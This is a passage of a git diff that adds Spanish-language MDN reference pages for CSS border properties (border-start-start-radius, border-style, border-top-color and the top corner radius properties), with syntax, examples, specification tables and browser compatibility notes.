+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong><code>border-start-start-radius</code></strong> define al radio del borde lógico de un elemento, que se asigna al radio de borde físico dependiendo del modo de escritura, la direccionalidad y la orientación del texto del elemento. Esto corresponde a las propiedades {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+/* With one value the corner will be a circle */
+border-start-start-radius: 10px;
+border-start-start-radius: 1em;
+
+/* With two values the corner will be an ellipse */
+border-start-start-radius: 1em 2em;
+
+/* Global values */
+border-start-start-radius: inherit;
+border-start-start-radius: initial;
+border-start-start-radius: unset;
+</pre>
+
+<p>Por ejemplo, en un modo de escritura  <code>horizontal-tb</code>, esta propiedad corresponde a la propiedad {{CSSxRef("border-top-left-radius")}}.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>Indica el tamaño del radio del círculo o los ejes semi mayor y semi menor de la elipse. Como longitud absoluta, se puede expresar en cualquier unidad permitida por el tipo de datos CSS {{cssxref ("&lt;length&gt;")}}. Los porcentajes para el eje horizontal se refieren al ancho de la caja, los porcentajes para el eje vertical se refieren a la altura de la caja. Los valores negativos no son válidos.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: rebeccapurple;
+  width: 120px;
+  height: 120px;
+  border-start-start-radius: 10px;
+}
+
+.exampleText {
+  writing-mode: vertical-rl;
+  padding: 10px;
+  background-color: #fff;
+  border-start-start-radius: 10px;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-start-start-radius", "border-start-start-radius")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.border-start-start-radius")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>La propiedad física asignada: {{CSSxRef("border-top-left-radius")}}</li>
+ <li>{{CSSxRef("writing-mode")}}, {{CSSxRef("direction")}}, {{CSSxRef("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/border-style/index.html b/files/es/web/css/border-style/index.html
new file mode 100644
index 0000000000..616f336ead
--- /dev/null
+++ b/files/es/web/css/border-style/index.html
@@ -0,0 +1,242 @@
+---
+title: border-style
+slug: Web/CSS/border-style
+tags:
+  - Bordes CSS
+  - CSS
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/border-style
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">La propiedad <strong><code>border-style</code></strong> <a href="/en/CSS" title="CSS">CSS</a> es una <a href="/en-US/docs/Web/CSS/Shorthand_properties">shorthand property</a> (Propiedad abreviada) que establece el estilo de línea para los cuatro lados del borde de un elemento.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-style.html")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* Keyword values */
+border-top-style: none;
+border-top-style: hidden;
+border-top-style: dotted;
+border-top-style: dashed;
+border-top-style: solid;
+border-top-style: double;
+border-top-style: groove;
+border-top-style: ridge;
+border-top-style: inset;
+border-top-style: outset;
+
+/* vertical | horizontal */
+border-style: dotted solid;
+
+/* top | horizontal | bottom */
+border-style: hidden double dashed;
+
+/* top | right | bottom | left */
+border-style: none solid dotted dashed;
+
+/* Global values */
+border-style: inherit;
+border-style: initial;
+border-style: unset;
+</pre>
+
+<p>La propiedad <code>border-style</code> se puede especificar usando uno, dos, tres o cuatro valores.</p>
+
+<ul>
+ <li>Cuando se especifica <strong>un</strong> valor, se aplica el mismo estilo a los <strong>cuatro lados</strong>.</li>
+ <li>Cuando se especifican <strong>dos </strong>valores, el primer estilo se aplica a la parte <strong>superior e inferior</strong>, el segundo a la <strong>izquierda y a la derecha</strong></li>
+ <li>Cuando se especifican <strong>tres </strong>valores, el primer estilo se aplica a la <strong>parte superior</strong>, el segundo a la <strong>izquierda y derecha</strong>, el tercero a la <strong>parte inferior</strong>.</li>
+ <li>Cuando se especifican <strong>cuatro </strong>valores, los estilos se aplican a la parte <strong>superior</strong>, <strong>derecha</strong>, <strong>inferior </strong>e <strong>izquierda </strong>en ese orden (en el sentido de las agujas del reloj).</li>
+</ul>
+
+<p>Cada valor es una palabra clave elegida de la siguiente lista.</p>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>&lt;br-style&gt;</code></dt>
+ <dd>Describe el estilo del borde. Puede tener los siguientes valores:
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td style="vertical-align: middle;"><code>none</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-top-style: none; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">Like the <code>hidden</code> keyword, displays no border. Unless a {{cssxref("background-image")}} is set, the calculated value of {{ cssxref("border-top-width") }} will be <code>0</code>, even if the specified value is something else. In the case of table cell and border collapsing, the <code>none</code> value has the <em>lowest</em> priority: if any other conflicting border is set, it will be displayed.</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>hidden</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-top-style: hidden; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">Like the <code>none</code> keyword, displays no border. Unless a {{cssxref("background-image")}} is set, the calculated value of {{ cssxref("border-top-width") }} will be <code>0</code>, even if the specified value is something else. In the case of table cell and border collapsing, the <code>hidden</code> value has the <em>highest</em> priority: if any other conflicting border is set, it won't be displayed.</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>dotted</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-top-style: dotted; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">Displays a series of rounded dots. The spacing of the dots is not defined by the specification and is implementation-specific. The radius of the dots is half the calculated {{ cssxref("border-top-width") }}.</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>dashed</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-top-style: dashed; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">Displays a series of short square-ended dashes or line segments. The exact size and length of the segments are not defined by the specification and are implementation-specific.</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>solid</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-top-style: solid; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">Displays a single, straight, solid line.</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>double</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-top-style: double; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">Displays two straight lines that add up to the pixel size defined by {{ cssxref("border-width") }} or {{ cssxref("border-top-width") }}.</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>groove</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-top-style: groove; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">Displays a border with a carved appearance. It is the opposite of <code>ridge</code>.</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>ridge</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-top-style: ridge; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">Displays a border with an extruded appearance. It is the opposite of <code>groove</code>.</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>inset</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-top-style: inset; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">Displays a border that makes the element appear embedded. It is the opposite of <code>outset</code>. When applied to a table cell with {{ cssxref("border-collapse") }} set to <code>collapsed</code>, this value behaves like <code>groove</code>.</td>
+   </tr>
+   <tr>
+    <td style="vertical-align: middle;"><code>outset</code></td>
+    <td style="vertical-align: middle;">
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-top-style: outset; background-color: palegreen;"></div>
+    </td>
+    <td style="vertical-align: middle;">
+     <p>Displays a border that makes the element appear embossed. It is the opposite of <code>inset</code>. When applied to a table cell with {{ cssxref("border-collapse") }} set to <code>collapsed</code>, this value behaves like <code>ridge</code>.</p>
+    </td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Table_with_all_property_values" name="Table_with_all_property_values">Tabla con todos los valores de propiedad</h3>
+
+<p>A continuación, se muestra un ejemplo de todos los valores de propiedad.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td class="b1"&gt;none&lt;/td&gt;
+    &lt;td class="b2"&gt;hidden&lt;/td&gt;
+    &lt;td class="b3"&gt;dotted&lt;/td&gt;
+    &lt;td class="b4"&gt;dashed&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td class="b5"&gt;solid&lt;/td&gt;
+    &lt;td class="b6"&gt;double&lt;/td&gt;
+    &lt;td class="b7"&gt;groove&lt;/td&gt;
+    &lt;td class="b8"&gt;ridge&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td class="b9"&gt;inset&lt;/td&gt;
+    &lt;td class="b10"&gt;outset&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">/* Define look of the table */
+table {
+  border-width: 3px;
+  background-color: #52E396;
+}
+tr, td {
+  padding: 2px;
+}
+
+/* border-style example classes */
+.b1 {border-style:none;}
+.b2 {border-style:hidden;}
+.b3 {border-style:dotted;}
+.b4 {border-style:dashed;}
+.b5 {border-style:solid;}
+.b6 {border-style:double;}
+.b7 {border-style:groove;}
+.b8 {border-style:ridge;}
+.b9 {border-style:inset;}
+.b10 {border-style:outset;}</pre>
+
+<h4 id="Output">Output</h4>
+
+<p>{{ EmbedLiveSample('Table_with_all_property_values', 300, 200) }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificacion </th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Backgrounds', '#border-style', 'border-style') }}</td>
+   <td>{{ Spec2('CSS3 Backgrounds') }}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'box.html#propdef-border-style', 'border-style') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Adds <code>hidden</code> keyword value.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#border-style', 'border-style') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+
+
+<p>{{Compat("css.properties.border-style")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>The border-related shorthand CSS properties: {{ Cssxref("border") }}, {{ Cssxref("border-width") }}, {{ Cssxref("border-color") }}, {{ Cssxref("border-radius") }}</li>
+</ul>
diff --git a/files/es/web/css/border-top-color/index.html b/files/es/web/css/border-top-color/index.html
new file mode 100644
index 0000000000..7be5b9461e
--- /dev/null
+++ b/files/es/web/css/border-top-color/index.html
@@ -0,0 +1,105 @@
+---
+title: border-top-color
+slug: Web/CSS/border-top-color
+translation_of: Web/CSS/border-top-color
+---
+<div>{{CSSRef}}</div>
+
+<p>La  propiedad CSS <strong><code>border-top-color</code></strong>  establece el color superior de un elemento {{cssxref("border")}}. Tenga en cuenta que en la mayoria de los casos las propiedades abreviadas {{cssxref("border-color")}} o {{cssxref("border-top")}} son mas convenientes y preferidas.</p>
+
+<pre class="brush: css no-line-numbers  language-css">/*valores &lt;color&gt; */
+border-top-color: red;
+border-top-color: #ffbb00;
+border-top-color: rgb(255, 0, 0);
+border-top-color: hsla(100%, 50%, 25%, 0.75);
+border-top-color: currentColor;
+border-top-color: transparent;
+
+/* Valores globales */
+border-top-color: inherit;
+border-top-color: initial;
+border-top-color: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>La propiedad <code>border-top-color</code> es especificada con un valor unico.</p>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
+ <dd>El color superior del borde</dd>
+</dl>
+
+<h3 id="Sintaxis_Formal">Sintaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Un_div_simple_con_un_borde">Un div simple con un borde</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="mybox"&gt;
+  &lt;p&gt;Esta es una caja con un border alrededor.
+     Tenga en cuenta que un border de la caja es
+     &lt;span class="redtext"&gt;Rojo&lt;/span&gt;.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.mybox {
+  border: solid 0.3em gold;
+  border-top-color: red;
+  width: auto;
+}
+
+.redtext {
+  color: red;
+}</pre>
+
+<h4 id="Resultado">Resultado</h4>
+
+<p>{{EmbedLiveSample('A_simple_div_with_a_border')}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#border-top-color', 'border-top-color')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Sin cambios significativos, aunque la palabra clave <code>transparent</code> , ahora incluida en {{cssxref("&lt;color&gt;")}} que se ha extendido, se ha eliminado formalmente.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#border-color-properties', 'border-top-color')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta pagina es generada desde una estructura de datos. Si usted le gustaria contribuir con los datos, por favor chequee <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envienos la información.</div>
+
+<p>{{Compat("css.properties.border-top-color")}}</p>
+
+<h2 id="Ver_tambien">Ver tambien</h2>
+
+<ul>
+ <li>Las propiedades abreviadas de CSS relacionadas con los bordes : {{Cssxref("border")}}, {{Cssxref("border-top")}}, y {{Cssxref("border-color")}}.</li>
+ <li>Las propiedades abrevadas de CSS relacionadas con el color para los bordes: {{Cssxref("border-right-color")}}, {{Cssxref("border-bottom-color")}}, y {{Cssxref("border-left-color")}}.</li>
+ <li>Las otras propiedades CSS relaciones con los bordes que se aplican al mismo borde : {{cssxref("border-top-style")}} y {{cssxref("border-top-width")}}.</li>
+</ul>
diff --git a/files/es/web/css/border-top-left-radius/index.html b/files/es/web/css/border-top-left-radius/index.html
new file mode 100644
index 0000000000..69be619d41
--- /dev/null
+++ b/files/es/web/css/border-top-left-radius/index.html
@@ -0,0 +1,252 @@
+---
+title: border-top-left-radius
+slug: Web/CSS/border-top-left-radius
+tags:
+  - Bordes CSS
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/border-top-left-radius
+---
+<div>{{CSSRef}}</div>
+
+<p>La propiedad CSS <strong><code>border-top-left-radius</code></strong> establece el redondeo de la esquina superior izquierda del elemento. El redondeo puede ser un círculo o una elipse, o si uno de los valores es <code>0,</code>no se redondeará la esquina, dejándola cuadrada.</p>
+
+<div style="text-align: center;"><img alt="border-radius.png" class="default internal" src="/@api/deki/files/6132/=border-radius.png"></div>
+
+<p>Un fondo, siendo una imagen o color, está limitado a los bordes, incluso a los redondeados; la posición exacta del corte será definida por el valor de la propiedad {{cssxref("background-clip")}}.</p>
+
+<div class="note">Si el valor de esta propiedad no se establece en una propiedad reducida {{cssxref("border-radius")}} que es aplicada al elemento después de la propiedad <code>border-top-left-radius</code>, el valor de esta propiedad es restaurado a su valor inicial por la <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Shorthand_properties">propiedad de forma reducida</a>.</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">/* la esquina es un círculo */
+/* border-top-left-radius: <em>radius</em> */
+border-top-left-radius: 3px;
+
+/* la esquina es una elipse */
+/* border-top-left-radius: <em>horizontal</em> <em>vertical</em> */
+border-top-left-radius: 0.5em 1em;
+
+border-top-left-radius: inherit;
+</pre>
+
+<div style="font-size: 0.9em;">
+<p>donde:</p>
+
+<dl style="padding-left: 6em;">
+ <dt style="float: left; width: 7.5em;"><em>radius</em></dt>
+ <dd style="padding-left: 7.5em;">Es un valor {{cssxref("&lt;length&gt;")}} o {{cssxref("&lt;percentage&gt;")}} que denota el radio del círculo que se usará para el borde en esa esquina.</dd>
+ <dt style="float: left; width: 7.5em;"><em>horizontal</em></dt>
+ <dd style="padding-left: 7.5em;">Es un valor {{cssxref("&lt;length&gt;")}} o {{cssxref("&lt;percentage&gt;")}} que denota el eje semi-mayor horizontal de la elipse que se usará en el borde de esa esquina.</dd>
+ <dt style="float: left; width: 7.5em;"><em>vertical</em></dt>
+ <dd style="padding-left: 7.5em;">Es un valor {{cssxref("&lt;length&gt;")}} o {{cssxref("&lt;percentage&gt;")}} que denota el eje semi-mayor vertical de la elipse que se usará en el borde de esa esquina.</dd>
+</dl>
+</div>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Denota el tamaño del radio de círculo o del eje semi-mayor o semi-menor de la elipse. Puede ser expresado en cualquier tipo de unidad permitida por el tipo de dato CSS {{cssxref("&lt;length&gt;")}}. Los valores negativos no son válidos.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Denota el tamaño del radio del círculo, o de los ejes semi-mayores y semi-menores de la elipse, usando valores porcentuales. Porcentajes del eje horizontal toman como referencia a la anchura de la caja, y porcentajes del eje vertical toman como referencia la altura de la caja. Los valores negativos no son válidos.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Ejemplo en vivo</th>
+   <th>Código</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td style="padding: 1.5em;">
+    <div id="circle-arc" style="background-color: lightgreen; border: solid 1px black; border-top-left-radius: 40px 40px; width: 100px; height: 100px;"> </div>
+   </td>
+   <td>Un arco de círculo usado como borde
+    <pre class="brush:css">
+div {
+  border-top-left-radius: 40px 40px;
+}
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td style="padding: 1.5em;">
+    <div id="ellipse-arc" style="background-color: lightgreen; border: solid 1px black; border-top-left-radius: 40px 20px; width: 100px; height: 100px;"> </div>
+   </td>
+   <td>Un arco de elipse usado como borde
+    <pre class="brush:css">
+div {
+  border-top-left-radius: 40px 20px;
+}
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td style="padding: 1.5em;">
+    <div id="square-box-circle-arc" style="background-color: lightgreen; border: solid 1px black; border-top-left-radius: 40%; width: 100px; height: 100px;"> </div>
+   </td>
+   <td>La caja es un cuadro: un arco de círculo es usado como borde
+    <pre class="brush: css">
+div
+  border-top-left-radius: 40%;
+}
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td style="padding: 1.5em;">
+    <div id="not-square-ellipse-arc" style="background-color: lightgreen; border: solid 1px black; border-top-left-radius: 40%; width: 100px; height: 200px;"> </div>
+   </td>
+   <td>La caja no es un círculo: un arco de elipse es usado como borde
+    <pre class="brush: css">
+div {
+  border-top-left-radius: 40%;
+}
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td style="padding: 1.5em;">
+    <div id="clipped-border" style="background-color: rgb(250,20,70); background-clip: content-box; border: double 3px black; border-top-left-radius: 40%; width: 100px; height: 100px;"> </div>
+   </td>
+   <td>El color de fondo está delimitado al borde
+    <pre class="brush: css">
+div {
+  border-top-left-radius:40%;
+  border-style: black 3px double;
+  background-color: rgb(250,20,70);
+  background-clip: content-box;
+}
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-radius', 'border-top-left-radius')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0 {{property_prefix("-webkit")}}<br>
+    4.0</td>
+   <td>1.0 (1.0){{property_prefix("-moz")}}<sup>[1]</sup><br>
+    4.0 (2.0)<sup>[3]</sup></td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>3.0 (522){{property_prefix("-webkit")}}<br>
+    5.0 (532.5)</td>
+  </tr>
+  <tr>
+   <td>Porcentajes</td>
+   <td>4.0</td>
+   <td>1.0 (1.0)<sup>[2]</sup><br>
+    4.0 (2.0)</td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>5.0 (532.5)</td>
+  </tr>
+  <tr>
+   <td>Esquinas elípticas</td>
+   <td>1.0</td>
+   <td>3.5 (1.9.1)</td>
+   <td>9.0</td>
+   <td>10.5</td>
+   <td>3.0 (522)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Porcentajes</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Esquinas elípticas</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La versión con prefijo (permitida desde Firefox 1 hasta Firefox 12) de esta propiedad usaba otro nombre, <code>-moz-border-radius-topleft</code>, distinto al de la propiedad final, ya que Mozilla lo implementó antes de que se determinara el nombre final.</p>
+
+<p>[2] Antes de Firefox 4, el valor {{cssxref("&lt;percentage&gt;")}} era relativo a la anchura de la caja, incluso al especificar el radio para la altura. Esto implicaba que <code>-moz-border-radius-topleft</code> siempre dibujaba un arco de círculo, y nunca una elipse, cuando se establecía un valor único.</p>
+
+<p>[3] Previo a Gecko 50.0 {{geckoRelease("50.0")}}, los estilos de bordes de esquinas redondeadas siempre se dibujaban como si <code>border-style</code> tuviera valor <code>solid</code>. Esto fue solucionado en Gecko 50.0.</p>
+
+<p>Además del soporte a la versión sin prefijo, Gecko 44.0 {{geckoRelease("44.0")}} añadió soporte a la versión con prefijo <code>-webkit</code> de la propiedad, por razones de compatibilidad, usando la preferencia <code>layout.css.prefixes.webkit</code>, con valor predeterminado <code>false</code>. Desde Gecko 49.0 {{geckoRelease("49.0")}} el valor predeterminado de la preferencia es <code>true</code>.</p>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<p>Las propiedades CSS relacionadas con radio de borde: la forma reducida {{cssxref("border-radius")}}, las propiedades de las otras esquinas: {{cssxref("border-top-right-radius")}}, {{cssxref("border-bottom-right-radius")}}, y {{cssxref("border-bottom-left-radius")}}.</p>
diff --git a/files/es/web/css/border-top-right-radius/index.html b/files/es/web/css/border-top-right-radius/index.html
new file mode 100644
index 0000000000..ecb6f157b2
--- /dev/null
+++ b/files/es/web/css/border-top-right-radius/index.html
@@ -0,0 +1,256 @@
+---
+title: border-top-right-radius
+slug: Web/CSS/border-top-right-radius
+tags:
+  - Bordes CSS
+  - Propiedad CSS
+  - Referencia
+translation_of: Web/CSS/border-top-right-radius
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <strong><code>border-top-right-radius</code></strong> establece el redondeo de la esquina superior derecha del elemento. El redondeo puede ser un círculo o una elipse, o si uno de los valores es <code>0,</code>no se redondeará la esquina, dejándola cuadrada.</p>
+
+<div style="text-align: center;"><img alt="border-top-right-radius.png" class="default internal" src="/@api/deki/files/6133/=border-top-right-radius.png"></div>
+
+<p>Un fondo, siendo una imagen o color, está limitado a los bordes, incluso a los redondeados; la posición exacta del corte será definida por el valor de la propiedad {{cssxref("background-clip")}}.</p>
+
+<div class="note">Si el valor de esta propiedad no se establece en una propiedad reducida {{cssxref("border-radius")}} que es aplicada al elemento después de la propiedad <code>border-top-radius-radius</code><span style="line-height: 1.5;">, el valor de esta propiedad es restaurado a su valor inicial por la </span><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Shorthand_properties" style="line-height: 1.5;">propiedad de forma reducida</a><span style="line-height: 1.5;">.</span></div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">/* la esquina es un círculo */
+/* border-top-right-radius: <em>radius</em> */
+border-top-right-radius: 3px;
+
+/* la esquina es una elipse */
+/* border-top-right-radius: <em>horizontal</em> <em>vertical</em> */
+border-top-right-radius: 0.5em 1em;
+
+border-top-right-radius: inherit;
+</pre>
+
+<div style="font-size: 0.9em;">
+<p style="">donde:</p>
+
+<dl style="padding-left: 6em;">
+ <dt style="float: left; width: 7.5em;"><em>radius</em></dt>
+ <dd style="padding-left: 7.5em;">Es un valor {{cssxref("&lt;length&gt;")}} o {{cssxref("&lt;percentage&gt;")}} que denota el radio del círculo que se usará para el borde en esa esquina.</dd>
+ <dt style="float: left; width: 7.5em;"><em>horizontal</em></dt>
+ <dd style="padding-left: 7.5em;">Es un valor  {{cssxref("&lt;length&gt;")}} o {{cssxref("&lt;percentage&gt;")}} que denota el eje semi-mayor horizontal de la elipse que se usará en el borde de esa esquina.</dd>
+ <dt style="float: left; width: 7.5em;"><em>vertical</em></dt>
+ <dd style="padding-left: 7.5em;">Es un valor  {{cssxref("&lt;length&gt;")}} o {{cssxref("&lt;percentage&gt;")}} que denota el eje semi-mayor vertical de la elipse que se usará en el borde de esa esquina.</dd>
+</dl>
+</div>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
